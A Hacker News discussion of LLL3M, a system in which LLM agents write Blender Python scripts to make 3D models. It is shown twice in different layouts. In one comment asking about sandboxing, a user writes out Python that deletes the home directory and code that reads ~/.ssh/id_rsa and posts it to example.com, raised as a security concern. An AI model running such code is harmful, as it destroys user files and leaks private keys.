11 ms·

LL3M: Large Language 3D Modelers

442 points by simonpure 1y ago

keyle 1y ago
This is at "cute" level of useful I feel. A few more iterations though and this will get interesting.
- swinglock 1y ago
  Looks like a fun toy. That can already be useful. I'm thinking of games that don't even have to leave a prototype stage, e.g. Roblox, or actually just for better prototyping. Even if it can't produce anything sufficiently good yet (depends on the game and audience, look at Minecraft), if it's fun tinker with that's enough to be useful. If it improves that will certainly be more exciting but it already looks useful.
dachworker 1y ago
You can also use LLMs to write python code for FreeCAD. It kinda works, if you coach it through the whole process in baby steps.
- rjsw 1y ago
  I think it would be better to train a LLM on and get it to generate a standard exchange format, COLLADA or gITF could be worth trying.
ZiiS 1y ago
Also surprising good at OpenSCAD if you keep reminding it not to assign shapes to variables.
nrjames 1y ago
I was playing with Aseprite (pixel editor) the other day. You can script it with Lua, so I asked Claude to help me write scripts that would create different procedurally-generated characters each time they were run. They were reproducible with seeds and kind of resembled people, but very far from what I would consider to be high quality. It was a fun little project and easily accessible, though. - https://www.aseprite.org https://www.aseprite.org
- notimpotent 1y ago
  If you're interested in that, check out the guys over at pixellab.ai They have an Aesprite plugin that generates pretty nice looking sprites from your prompts.
- kleiba 1y ago
  I've been looking for a good pixel-art AI for a while. Most things I tried look okay, but not stunning. If anyone has had good experience with an AI tool for that, I'd be grateful for a link.
nickparker 1y ago
I've had surprising success with meshy.ai as part of a workflow to go from images my friends want to good 3D models. The workflow is 1. Have gpt5 or really any image model, midjourney retexture is also good, convert the original image to something closer to a matte rendered mesh, IE remove extraneous detail and any transparency / other confusing volumetric effects 2. Throw it in meshy.ai image to 3D mode, select the best one or maybe return to 1 with a different simplified image style if I don't like the results 3. Pull it into blender and make whatever mods I want in mesh editing mode, eg specific fits and sizing to assemble with other stuff, add some asymmetry to an almost-symmetric thing because the model has strong symmetry priors and turning them off in the UI doesn't realllyyy turn them off, or model on top of the AI'd mesh to get a cleaner one for further processing. The meshes are fairly OK structure wise, clearly some sort of marching cubes or perhaps dual contouring approach on top of a NeRF-ish generator. I'm an extremely fast mechanical CAD user and a mediocre blender artist, so getting an AI starting point is quite handy to block out the overall shape and let me just do edits. EG a friend wants to recreate a particular statue of a human, tweaking some T-posed generic human model into the right pose and proportions would have taken me "more hours than I'm willing to give him for this" ie I wouldn't have done it, but with this workflow it was 5 minutes of AI and then an hour of fussing in Blender to go from the solid model to the curvilinear wireframe style of the original statue.
- menzoic 1y ago
  GPT-5 is a text only model. ChatGPT uses 4o for images still
  - mattnewton 1y ago
    The naming is very confusing. I thought the underlying model was gpt image 1 in the api but transparently shown as part of the same chat model in the UI?
- QuantumNomad_ 1y ago
  > 1. […] convert the original image to something closer to a matte rendered mesh […] Sounds interesting. Do you have any example images like that you could share? I understand the part about making transparent surfaces not transparent. But I’m not sure how the whole image looks like after this step. Also, would you be willing to share the prompt you type to achieve this?
aatd86 1y ago
So soon enough, everyone will be able to vibecode game assets and players will be able to create their own character designs on-the-fly? Sweet although I also feel for designers as a profession.
- toddmorey 1y ago
  Designers, developers, producers—anyone involved in the supply chain.
- nativeit 1y ago
  Don’t worry. Delusional optimists will eventually learn that not everything can be handwaved away with “it’ll get better,” especi when “it” is already the most expensive and most-funded software project in history, and still sucks in most contexts.
king_terry 1y ago
This is amazing. Solo game dev will actually become solo.
- bluefirebrand 1y ago
  I hope we adopt some kind of "This product uses AI generated content" label for games so I can avoid them forever :)
  - hhh 1y ago
    Steam has this
  - Workaccount2 1y ago
    That's when people just lie about using AI. The thing about AI is that it is only obvious when it is obvious.
    - bluefirebrand 1y ago
      So I guess we just accept that everything is bad forever then because too many people are just happy to lie and cheat and there's no mechanisms in society to deal with it
  - jellybaby2 1y ago
    Haaa you sound jealous :-) Pity you’re not smart enough to benefit
- nativeit 1y ago
  I’ve been saying for a long time, “gaming is just too pro-social and well adjusted, we need more isolation and introversion in gaming!”
Etherlord87 1y ago
As someone using Blender for ~7 years, with over 1000 answers on Blender Stack Exchange and total score of 48.000: This tool is maybe useful if you want to learn Python, in particular Blender Python API basics, I don't really see other usage of this. All examples given are extremely simple to do; please don't use a tool like this, because it takes your prompt and generates the most bland version of it possible. It really takes only about a day to go through some tutorials and learn how to make models like these in Blender, with solid color or some basic textures. The other thousands of days is what you would spend on creating correct topology, making an armature, animating, making more advanced shaders, creating parametric geometry nodes setups... But simple models like these you can create effortlessly, and those will be YOUR models, the way (roughly, of course) how you imagined them. After a few weeks you're probably going to model them faster than the time it takes for prompt engineering. By that time your imagination, skill in Blender and understanding of 3D technicalities will improve, and it will keep improving moving onward. And what will you learn using this AI? I think meshy.ai is much more promising, but still I think I'd only consider using it if I wanted to convert photo/render into a mesh with a texture properly positioned onto it, to then refine the mesh by sculpting - and sculpting is one of my weakest skills in Blender. BTW I made a test showcasing how meshy.ai works: https://blender.stackexchange.com/a/319797/60486 https://blender.stackexchange.com/a/319797/60486
- sbarre 1y ago
  Yeah but remember this tool is, today, the worst it will ever be. This kind of work will only improve, and we're in early days for these kinds of applications of LLM tech.
  - jappgar 1y ago
    LLMs aren't suited to this, just like they aren't suited to generating images (different models do the hard work, even when you're using an LLM interface). I agree with the parent comment. This might be neat to learn the basics of blender scripting, but it's an incredibly inefficient and clumsy way of making anything worthwhile.
    - 1y ago
vessenes 1y ago
Notable here I think is the agent workflow - as LLMs continue to have increased 3d world understanding, they’re going to be useful in a variety of circumstances. Taking the human out of the loop for error checking and bug fixing is going to be useful, even if its just a background process that experts like Etherlord87 in this thread gain a little bug fixing / suggesting / pop up help from. Meanwhile being able to programmatically instrument this stuff is super useful, and will keep getting more useful.
mattigames 1y ago
Something I don't understand is why is there such effort to crafting generators for all kinds of content but there isn't the same level of interest for crafting consumers of it? AIs that will play your games and watch your movies and tell you how good job "you" did? If is about money you don't have a chance because the monopolistic middlemen will hoard all space, e.g. Steam will generate the PC games that go popular, and whatever space is left will be quickly saturated by an overabundance of generated content, so given the scarcity of attention is only going up the next logical step is to generate the "people" that will consume the content, bots that craft reviews about what they "saw" and how they "felt" and have different "personalities" and constantly interact with each other.
- sbarre 1y ago
  I think that kind of multi-modal work is ongoing but not as advanced as text-based LLMs are today. All these kinds of generators are LLM-via-text-proxy in the sense that people are using LLM's excellent text generation properties to generate via scripting interfaces in various tools.
reactordev 1y ago
Before you trash on the 3d model quality, just think about the dancing baby and early pixar animations. This is incredible. I can't wait to be able to prompt my llm to generate a near-ready 3d model that all I have to do is tweak, texture, bake, and export.
- jappgar 1y ago
  LLMs are language models. Meshes aren't language. Yes this can create python to create simple objects, but that's not how anyone actually creates beautiful 3d art. Just like no one is handwriting svg files to create vector art. LLMs alone will never make visual art. They can provide you an interface to other models, but that's not what this is.
  - reactordev 1y ago
    I know that, I was making a statement about how you can. Not exactly sure what your point is. If an LLM can take an idea and spit out words, it can spit out instructions (just like we can with code) to generate meshes, or boids, or point clouds or whatever. Secondary stages would refine that into something usable and the artist would come in to refine, texture, bake, possibly animate, and export. In fact, this paper is exactly that. Words as input, code to use with blender as output. We really just need a headless blender to spit it out as a GLTF and it’s good to go to second stage.
    - therouwboat 1y ago
      If you have an artist, can't you just talk to her about what you want and then she makes the model and all the rest of it? I don't really understand what you gain if you pay for LLM, make model with it and then give it to artist.
      - reactordev 1y ago
        If you knew how an art pipeline worked, you would. An artist is usually one in an array of artists that completes a model. The pipeline starts with concept artists (easily AI now), turnaround (AI is hit or miss here), modeling (this phase), texturing (could be another artist), baking (normally a texture artists job but depending on material complexity and whether it’s for film, technical artist), rendering if needed. Then you have sub specialties. Rigging, animation, texturing, environments, props, characters, effects. It’s a fascinating process.
Buttons840 1y ago
What is that Python code? Is it a Python library or is this the Blender API?
- zeograd 1y ago
  That's the blender API, supported by an embedded python interpreter coming with each Blender install
ThouYS 1y ago
large token models are coming for everything, because everything can be made a token. the detour via language here is not needed, these models can speak geometry more and more fluently
- Stevvo 1y ago
  Right, like word2vec blew everyone's mind back in the day, but 3D models have always existed in a "vector space".
- numpad0 1y ago
  This seem like a great observation, a lot of negative reactions to AI generated data seem to come from limitations of using language, thereby denying good creative input from its users.
ninetyninenine 1y ago
I think architectures like this will be the key to agi. A constellation of specialized microservices of AI models, not all necessarily LLMs working in tandem to formulate output from input. I think it's clear that the human brain is modular, and that at least one module in the human brain shares similarities to the LLM. So the key is really to build the other modules and interconnect everything.
NullCascade 1y ago
Considering most SOTA LLMs are also multimodal/vision models, could they get better results if the LLM gets visual feedback with it?
exe34 1y ago
Can it do the pelican on a bicycle?
throwmeaway222 1y ago
What I always wanted in video games where you can craft weapons was the idea that you can combine the duct tape with wood with fishing lures and it creates something the designer didn't think about :)
- manc_lad 1y ago
  Zelda Breath of the Wild attempts to approach this with an interesting interface.
  - xnx 1y ago
    Tears of the Kingdom?
- sfn42 1y ago
  That's not really possible. You need fish and fishing mechanics, you can't just create a game where fishing happens to be possible without anyone having thought about it. You would basically need a life simulator for that, with rules like fish exist, fish live in water, fish chase other organic things in the water, a worm attracts fish, the hook makes the fish stick if it bites, do you see what I'm saying? You can't just have all this stuff happening organically. It's possible to have systems where the possibilities are so vast that the dev can't consider all of them, like spore or path of exile or whatever, lots of games with lots of options for customization. But you can't just have a real world simulator, the real world is too complex to simulate, let alone in real time.
  - throwmeaway222 1y ago
    yeah well, it's all coming
    - sfn42 1y ago
      Sure man, maybe in a few decades or centuries, who knows. I'll continue to concern myself with what's actually possible and not worry much about what doesn't seem possible.
emporas 1y ago
Very encouraging results. Spatial intelligence of LLMs was very bad, one year back. I spent quite some time to make them write stories in which objects are put into up and down positions, left and right, front or back, they always got hopelessly confused. I asked GPT which one is the most scriptable CAD software, it's answer was Freecad. Blender is not a CAD software as far as I understand, the user cannot make measurements like Freecad. Unfortunately Freecad's API is a little bit scattered and not well organized, GPT has trouble remembering/searching and retrieving the relevant functions. Blender is a lot more popular, more code on the internet, and it performs much better.
- ThomPete 1y ago
  Would it be possible to write a script for CAD that could do measurements
  - emporas 1y ago
    Measurements are printed and given usually to construction workers, usually along some axis. People who lay the bricks take a top view from a house with the dimensions along the y axis. People who build the doors and windows take a side view of the dimensions along the x axis. And so on. Blender cannot do that as far as I understand. Something like that for example: [1] [1] https://all3dp.com/2/freecad-2d-tutorial/ https://all3dp.com/2/freecad-2d-tutorial/
    - ThomPete 1y ago
      Looks like it can
      - emporas 1y ago
        I may start using Blender if that's the case. I was waiting for some kind of success modeling 3D shapes using code, and automatically generating the code with LLMs, for quite some time.
- bravesoul2 1y ago
DrBenCarson 1y ago
https://zoo.dev/design-studio https://zoo.dev/design-studio is better in ever conceivable way
nperez 1y ago
I'm not a modeler but I've tried it a few times. For me, modeling is a pain that I need to deal with to solo-dev a 3d game project. I would think about using something like this for small indie projects to output super low-poly base models, which I could then essentially use as a scaffold for my own finer adjustments. Saving time is better than generating high-poly masterpieces, for me at least.
nabilss 1y ago
[flagged]
exasperaited 1y ago
I am not a Blender user, but my strong suspicion is that the output of these things does not match what you'd be able to do in very short order by learning a bit of Blender. One of my suspicions about these "can we make an LLM do something that isn't text?" projects is that underpinning it is something that isn't to do with AI at all. Instead it's that a lot of specialist programmers really really loathe GUI paradigms for anything, consider text interfaces inherently superior, think the job of a GUI is only to simplify tasks and hide complexity, and so think all complex GUIs that are not immediately intuitive are categorical failures. In rejecting learning GUI tools they rule out the possibility that GUI interfaces support paradigms text cannot, and they rule out the possibility that anyone who has deep skills in a particular GUI knows anything more than what all the switches and buttons do, when a Blender user is very evidently engaging in a similar kind of abstract thought as programming involved. It is much the same with FreeCAD. Does the FreeCAD GUI still suck in several places? Yes. It was confusing and annoying until I learned that it is not trying to hide complexity. The inherent complexity is in the problem domain. But a programmer with a bit of maths and logic knowledge can, IMO, easily learn it. And then you discover that the FreeCAD UI is what it is because it is a set of tools designed by CAD-focussed programmers that attempts little to no magic, and suddenly you are using the tools to solve your own problems. In short a lot of these projects have a whiff of "but I don't wannnnna learn a GUI". The LLM or AI generator offers a way to defer properly learning the tools or techniques that are not so difficult to learn, and so attracts a lot of attention.
ranahanocka 1y ago
Author here. AMA!
- rapjr9 1y ago
  Could this produce a 3D model of a plastic case that will perfectly fit a PCB board? Could it be improved to also produce the CAD files for a PCB board?
- panzi 1y ago
  Do you execute the Python code directly in Blender or do you perform some sort of sandboxing? How do you make sure that the code only contains save instructions and doesn't do something like this? import os, shutil shutil.rmtree(os.getenv("HOME")) Or this? import os from urllib import request data = open(os.getenv("HOME")+"/.ssh/id_rsa").read() req = request.Request("http://example.com/", data=data.encode()) reqest.urlopen(req)
- wiw2 1y ago
  Is there a live demo anywhere? Is it possible to deploy a demo locally to try it out?
- GistNoesis 1y ago
  How would you go to make the llm generate object easier to 3d print (or manufacture)? Things like not using too much material, reducing the need for support, and maybe whether or not the produced part would be tough enough. Are there some datasets where some LLM learn to interact with some slicers, some Finite Elements Analysis software, or even real world 3d-printed objects to allow the model to do some quality assessment ?
  - ranahanocka 1y ago
    Interesting idea. Our framework of having multiple different agents with different roles could play well with this. You could create an agent that checks for certain criteria, gives feedback to the coding agent. For example, you could build an agent that evaluates the toughness of the current 3D asset and suggests fixes. I like the idea of incorporating additional experts to solve different tasks!
aussiegreenie 1y ago
I have tried to use Blender and have given up several times. My only constant use of Blend is creating animated titles in Ophenshot. Anything that simplifies using advanced tools is useful.
29athrowaway 1y ago
This could have been the POVRay or VRML reinassance. But this generation is too young to remember those.
merksoftworks 1y ago
This is the direction i've been theoretically harping about to all my friends, API first creative software will win out. After Effects has a decent JS api, Da Vinci Resolve has python and lua, you can script your way to a decent starting point with any of these tools. They even have well featured rollback for transactions committed during scripting. We need a generic MCP for the scripting environments in many desktop apps, screen capture for ones which take multimodal input.
panzi 1y ago
Does that run LLM generated Python code in Blender on your machine? That alone is a no for me. Python is not sandboxed, it can just read or delete all your files.
rambojohnson 1y ago
This looks like AI trash. Anyone who works in 3D can spot it instantly. The models are riddled with choices no sane artist would ever make, on top of churning out a grotesque polygon count that only reinforces how sloppy it is.
WhereIsTheTruth 1y ago
Who's working on the same thing for rigging/animating/uv? I want a Blender plugin that assist me, I don't want to click to generate a model
uoaei 1y ago
It is remarkable that Transformer-based feedforward models can be appropriated for a whole lot, though at some point it should be considered a stretch to call such models "language models" when they are so heavily adapted to geometric systems.

442 points by simonpure 1y ago

keyle 1y ago

This is at "cute" level of useful I feel. A few more iterations though and this will get interesting.

swinglock 1y ago
Looks like a fun toy. That can already be useful. I'm thinking of games that don't even have to leave a prototype stage, e.g. Roblox, or actually just for better prototyping. Even if it can't produce anything sufficiently good yet (depends on the game and audience, look at Minecraft), if it's fun tinker with that's enough to be useful. If it improves that will certainly be more exciting but it already looks useful.

dachworker 1y ago

You can also use LLMs to write python code for FreeCAD. It kinda works, if you coach it through the whole process in baby steps.

rjsw 1y ago
I think it would be better to train a LLM on and get it to generate a standard exchange format, COLLADA or gITF could be worth trying.

ZiiS 1y ago

Also surprising good at OpenSCAD if you keep reminding it not to assign shapes to variables.

nrjames 1y ago

I was playing with Aseprite (pixel editor) the other day. You can script it with Lua, so I asked Claude to help me write scripts that would create different procedurally-generated characters each time they were run. They were reproducible with seeds and kind of resembled people, but very far from what I would consider to be high quality. It was a fun little project and easily accessible, though. - https://www.aseprite.org https://www.aseprite.org

notimpotent 1y ago
If you're interested in that, check out the guys over at pixellab.ai They have an Aesprite plugin that generates pretty nice looking sprites from your prompts.
kleiba 1y ago
I've been looking for a good pixel-art AI for a while. Most things I tried look okay, but not stunning. If anyone has had good experience with an AI tool for that, I'd be grateful for a link.

nickparker 1y ago

I've had surprising success with meshy.ai as part of a workflow to go from images my friends want to good 3D models. The workflow is 1. Have gpt5 or really any image model, midjourney retexture is also good, convert the original image to something closer to a matte rendered mesh, IE remove extraneous detail and any transparency / other confusing volumetric effects 2. Throw it in meshy.ai image to 3D mode, select the best one or maybe return to 1 with a different simplified image style if I don't like the results 3. Pull it into blender and make whatever mods I want in mesh editing mode, eg specific fits and sizing to assemble with other stuff, add some asymmetry to an almost-symmetric thing because the model has strong symmetry priors and turning them off in the UI doesn't realllyyy turn them off, or model on top of the AI'd mesh to get a cleaner one for further processing. The meshes are fairly OK structure wise, clearly some sort of marching cubes or perhaps dual contouring approach on top of a NeRF-ish generator. I'm an extremely fast mechanical CAD user and a mediocre blender artist, so getting an AI starting point is quite handy to block out the overall shape and let me just do edits. EG a friend wants to recreate a particular statue of a human, tweaking some T-posed generic human model into the right pose and proportions would have taken me "more hours than I'm willing to give him for this" ie I wouldn't have done it, but with this workflow it was 5 minutes of AI and then an hour of fussing in Blender to go from the solid model to the curvilinear wireframe style of the original statue.

menzoic 1y ago
GPT-5 is a text only model. ChatGPT uses 4o for images still
- mattnewton 1y ago
  The naming is very confusing. I thought the underlying model was gpt image 1 in the api but transparently shown as part of the same chat model in the UI?
QuantumNomad_ 1y ago
> 1. […] convert the original image to something closer to a matte rendered mesh […] Sounds interesting. Do you have any example images like that you could share? I understand the part about making transparent surfaces not transparent. But I’m not sure how the whole image looks like after this step. Also, would you be willing to share the prompt you type to achieve this?

aatd86 1y ago

So soon enough, everyone will be able to vibecode game assets and players will be able to create their own character designs on-the-fly? Sweet although I also feel for designers as a profession.

toddmorey 1y ago
Designers, developers, producers—anyone involved in the supply chain.
nativeit 1y ago
Don’t worry. Delusional optimists will eventually learn that not everything can be handwaved away with “it’ll get better,” especi when “it” is already the most expensive and most-funded software project in history, and still sucks in most contexts.

king_terry 1y ago

This is amazing. Solo game dev will actually become solo.

bluefirebrand 1y ago
I hope we adopt some kind of "This product uses AI generated content" label for games so I can avoid them forever :)
- hhh 1y ago
  Steam has this
- Workaccount2 1y ago
  That's when people just lie about using AI. The thing about AI is that it is only obvious when it is obvious.
  - bluefirebrand 1y ago
    So I guess we just accept that everything is bad forever then because too many people are just happy to lie and cheat and there's no mechanisms in society to deal with it
- jellybaby2 1y ago
  Haaa you sound jealous :-) Pity you’re not smart enough to benefit
nativeit 1y ago
I’ve been saying for a long time, “gaming is just too pro-social and well adjusted, we need more isolation and introversion in gaming!”

Etherlord87 1y ago

As someone using Blender for ~7 years, with over 1000 answers on Blender Stack Exchange and total score of 48.000: This tool is maybe useful if you want to learn Python, in particular Blender Python API basics, I don't really see other usage of this. All examples given are extremely simple to do; please don't use a tool like this, because it takes your prompt and generates the most bland version of it possible. It really takes only about a day to go through some tutorials and learn how to make models like these in Blender, with solid color or some basic textures. The other thousands of days is what you would spend on creating correct topology, making an armature, animating, making more advanced shaders, creating parametric geometry nodes setups... But simple models like these you can create effortlessly, and those will be YOUR models, the way (roughly, of course) how you imagined them. After a few weeks you're probably going to model them faster than the time it takes for prompt engineering. By that time your imagination, skill in Blender and understanding of 3D technicalities will improve, and it will keep improving moving onward. And what will you learn using this AI? I think meshy.ai is much more promising, but still I think I'd only consider using it if I wanted to convert photo/render into a mesh with a texture properly positioned onto it, to then refine the mesh by sculpting - and sculpting is one of my weakest skills in Blender. BTW I made a test showcasing how meshy.ai works: https://blender.stackexchange.com/a/319797/60486 https://blender.stackexchange.com/a/319797/60486

sbarre 1y ago
Yeah but remember this tool is, today, the worst it will ever be. This kind of work will only improve, and we're in early days for these kinds of applications of LLM tech.
- jappgar 1y ago
  LLMs aren't suited to this, just like they aren't suited to generating images (different models do the hard work, even when you're using an LLM interface). I agree with the parent comment. This might be neat to learn the basics of blender scripting, but it's an incredibly inefficient and clumsy way of making anything worthwhile.
  - 1y ago

vessenes 1y ago

Notable here I think is the agent workflow - as LLMs continue to have increased 3d world understanding, they’re going to be useful in a variety of circumstances. Taking the human out of the loop for error checking and bug fixing is going to be useful, even if its just a background process that experts like Etherlord87 in this thread gain a little bug fixing / suggesting / pop up help from. Meanwhile being able to programmatically instrument this stuff is super useful, and will keep getting more useful.

mattigames 1y ago

Something I don't understand is why is there such effort to crafting generators for all kinds of content but there isn't the same level of interest for crafting consumers of it? AIs that will play your games and watch your movies and tell you how good job "you" did? If is about money you don't have a chance because the monopolistic middlemen will hoard all space, e.g. Steam will generate the PC games that go popular, and whatever space is left will be quickly saturated by an overabundance of generated content, so given the scarcity of attention is only going up the next logical step is to generate the "people" that will consume the content, bots that craft reviews about what they "saw" and how they "felt" and have different "personalities" and constantly interact with each other.

sbarre 1y ago
I think that kind of multi-modal work is ongoing but not as advanced as text-based LLMs are today. All these kinds of generators are LLM-via-text-proxy in the sense that people are using LLM's excellent text generation properties to generate via scripting interfaces in various tools.

reactordev 1y ago

Before you trash on the 3d model quality, just think about the dancing baby and early pixar animations. This is incredible. I can't wait to be able to prompt my llm to generate a near-ready 3d model that all I have to do is tweak, texture, bake, and export.

jappgar 1y ago
LLMs are language models. Meshes aren't language. Yes this can create python to create simple objects, but that's not how anyone actually creates beautiful 3d art. Just like no one is handwriting svg files to create vector art. LLMs alone will never make visual art. They can provide you an interface to other models, but that's not what this is.
- reactordev 1y ago
  I know that, I was making a statement about how you can. Not exactly sure what your point is. If an LLM can take an idea and spit out words, it can spit out instructions (just like we can with code) to generate meshes, or boids, or point clouds or whatever. Secondary stages would refine that into something usable and the artist would come in to refine, texture, bake, possibly animate, and export. In fact, this paper is exactly that. Words as input, code to use with blender as output. We really just need a headless blender to spit it out as a GLTF and it’s good to go to second stage.
  - therouwboat 1y ago
    If you have an artist, can't you just talk to her about what you want and then she makes the model and all the rest of it? I don't really understand what you gain if you pay for LLM, make model with it and then give it to artist.
    - reactordev 1y ago
      If you knew how an art pipeline worked, you would. An artist is usually one in an array of artists that completes a model. The pipeline starts with concept artists (easily AI now), turnaround (AI is hit or miss here), modeling (this phase), texturing (could be another artist), baking (normally a texture artists job but depending on material complexity and whether it’s for film, technical artist), rendering if needed. Then you have sub specialties. Rigging, animation, texturing, environments, props, characters, effects. It’s a fascinating process.

Buttons840 1y ago

What is that Python code? Is it a Python library or is this the Blender API?

zeograd 1y ago
That's the blender API, supported by an embedded python interpreter coming with each Blender install

ThouYS 1y ago

large token models are coming for everything, because everything can be made a token. the detour via language here is not needed, these models can speak geometry more and more fluently

Stevvo 1y ago
Right, like word2vec blew everyone's mind back in the day, but 3D models have always existed in a "vector space".
numpad0 1y ago
This seem like a great observation, a lot of negative reactions to AI generated data seem to come from limitations of using language, thereby denying good creative input from its users.

ninetyninenine 1y ago

I think architectures like this will be the key to agi. A constellation of specialized microservices of AI models, not all necessarily LLMs working in tandem to formulate output from input. I think it's clear that the human brain is modular, and that at least one module in the human brain shares similarities to the LLM. So the key is really to build the other modules and interconnect everything.

NullCascade 1y ago

Considering most SOTA LLMs are also multimodal/vision models, could they get better results if the LLM gets visual feedback with it?

exe34 1y ago

Can it do the pelican on a bicycle?

throwmeaway222 1y ago

What I always wanted in video games where you can craft weapons was the idea that you can combine the duct tape with wood with fishing lures and it creates something the designer didn't think about :)

manc_lad 1y ago
Zelda Breath of the Wild attempts to approach this with an interesting interface.
- xnx 1y ago
  Tears of the Kingdom?
sfn42 1y ago
That's not really possible. You need fish and fishing mechanics, you can't just create a game where fishing happens to be possible without anyone having thought about it. You would basically need a life simulator for that, with rules like fish exist, fish live in water, fish chase other organic things in the water, a worm attracts fish, the hook makes the fish stick if it bites, do you see what I'm saying? You can't just have all this stuff happening organically. It's possible to have systems where the possibilities are so vast that the dev can't consider all of them, like spore or path of exile or whatever, lots of games with lots of options for customization. But you can't just have a real world simulator, the real world is too complex to simulate, let alone in real time.
- throwmeaway222 1y ago
  yeah well, it's all coming
  - sfn42 1y ago
    Sure man, maybe in a few decades or centuries, who knows. I'll continue to concern myself with what's actually possible and not worry much about what doesn't seem possible.

emporas 1y ago

Very encouraging results. Spatial intelligence of LLMs was very bad, one year back. I spent quite some time to make them write stories in which objects are put into up and down positions, left and right, front or back, they always got hopelessly confused. I asked GPT which one is the most scriptable CAD software, it's answer was Freecad. Blender is not a CAD software as far as I understand, the user cannot make measurements like Freecad. Unfortunately Freecad's API is a little bit scattered and not well organized, GPT has trouble remembering/searching and retrieving the relevant functions. Blender is a lot more popular, more code on the internet, and it performs much better.

ThomPete 1y ago
Would it be possible to write a script for CAD that could do measurements
- emporas 1y ago
  Measurements are printed and given usually to construction workers, usually along some axis. People who lay the bricks take a top view from a house with the dimensions along the y axis. People who build the doors and windows take a side view of the dimensions along the x axis. And so on. Blender cannot do that as far as I understand. Something like that for example: [1] [1] https://all3dp.com/2/freecad-2d-tutorial/ https://all3dp.com/2/freecad-2d-tutorial/
  - ThomPete 1y ago
    Looks like it can
    - emporas 1y ago
      I may start using Blender if that's the case. I was waiting for some kind of success modeling 3D shapes using code, and automatically generating the code with LLMs, for quite some time.
bravesoul2 1y ago

DrBenCarson 1y ago

https://zoo.dev/design-studio https://zoo.dev/design-studio is better in ever conceivable way

nperez 1y ago

I'm not a modeler but I've tried it a few times. For me, modeling is a pain that I need to deal with to solo-dev a 3d game project. I would think about using something like this for small indie projects to output super low-poly base models, which I could then essentially use as a scaffold for my own finer adjustments. Saving time is better than generating high-poly masterpieces, for me at least.

nabilss 1y ago

[flagged]

exasperaited 1y ago

I am not a Blender user, but my strong suspicion is that the output of these things does not match what you'd be able to do in very short order by learning a bit of Blender. One of my suspicions about these "can we make an LLM do something that isn't text?" projects is that underpinning it is something that isn't to do with AI at all. Instead it's that a lot of specialist programmers really really loathe GUI paradigms for anything, consider text interfaces inherently superior, think the job of a GUI is only to simplify tasks and hide complexity, and so think all complex GUIs that are not immediately intuitive are categorical failures. In rejecting learning GUI tools they rule out the possibility that GUI interfaces support paradigms text cannot, and they rule out the possibility that anyone who has deep skills in a particular GUI knows anything more than what all the switches and buttons do, when a Blender user is very evidently engaging in a similar kind of abstract thought as programming involved. It is much the same with FreeCAD. Does the FreeCAD GUI still suck in several places? Yes. It was confusing and annoying until I learned that it is not trying to hide complexity. The inherent complexity is in the problem domain. But a programmer with a bit of maths and logic knowledge can, IMO, easily learn it. And then you discover that the FreeCAD UI is what it is because it is a set of tools designed by CAD-focussed programmers that attempts little to no magic, and suddenly you are using the tools to solve your own problems. In short a lot of these projects have a whiff of "but I don't wannnnna learn a GUI". The LLM or AI generator offers a way to defer properly learning the tools or techniques that are not so difficult to learn, and so attracts a lot of attention.

ranahanocka 1y ago

Author here. AMA!

rapjr9 1y ago
Could this produce a 3D model of a plastic case that will perfectly fit a PCB board? Could it be improved to also produce the CAD files for a PCB board?
panzi 1y ago
Do you execute the Python code directly in Blender or do you perform some sort of sandboxing? How do you make sure that the code only contains save instructions and doesn't do something like this? import os, shutil shutil.rmtree(os.getenv("HOME")) Or this? import os from urllib import request data = open(os.getenv("HOME")+"/.ssh/id_rsa").read() req = request.Request("http://example.com/", data=data.encode()) reqest.urlopen(req)
wiw2 1y ago
Is there a live demo anywhere? Is it possible to deploy a demo locally to try it out?
GistNoesis 1y ago
How would you go to make the llm generate object easier to 3d print (or manufacture)? Things like not using too much material, reducing the need for support, and maybe whether or not the produced part would be tough enough. Are there some datasets where some LLM learn to interact with some slicers, some Finite Elements Analysis software, or even real world 3d-printed objects to allow the model to do some quality assessment ?
- ranahanocka 1y ago
  Interesting idea. Our framework of having multiple different agents with different roles could play well with this. You could create an agent that checks for certain criteria, gives feedback to the coding agent. For example, you could build an agent that evaluates the toughness of the current 3D asset and suggests fixes. I like the idea of incorporating additional experts to solve different tasks!

aussiegreenie 1y ago

I have tried to use Blender and have given up several times. My only constant use of Blend is creating animated titles in Ophenshot. Anything that simplifies using advanced tools is useful.

29athrowaway 1y ago

This could have been the POVRay or VRML reinassance. But this generation is too young to remember those.

merksoftworks 1y ago

This is the direction i've been theoretically harping about to all my friends, API first creative software will win out. After Effects has a decent JS api, Da Vinci Resolve has python and lua, you can script your way to a decent starting point with any of these tools. They even have well featured rollback for transactions committed during scripting. We need a generic MCP for the scripting environments in many desktop apps, screen capture for ones which take multimodal input.

panzi 1y ago

Does that run LLM generated Python code in Blender on your machine? That alone is a no for me. Python is not sandboxed, it can just read or delete all your files.

rambojohnson 1y ago

This looks like AI trash. Anyone who works in 3D can spot it instantly. The models are riddled with choices no sane artist would ever make, on top of churning out a grotesque polygon count that only reinforces how sloppy it is.

WhereIsTheTruth 1y ago

Who's working on the same thing for rigging/animating/uv? I want a Blender plugin that assist me, I don't want to click to generate a model

uoaei 1y ago

It is remarkable that Transformer-based feedforward models can be appropriated for a whole lot, though at some point it should be considered a stretch to call such models "language models" when they are so heavily adapted to geometric systems.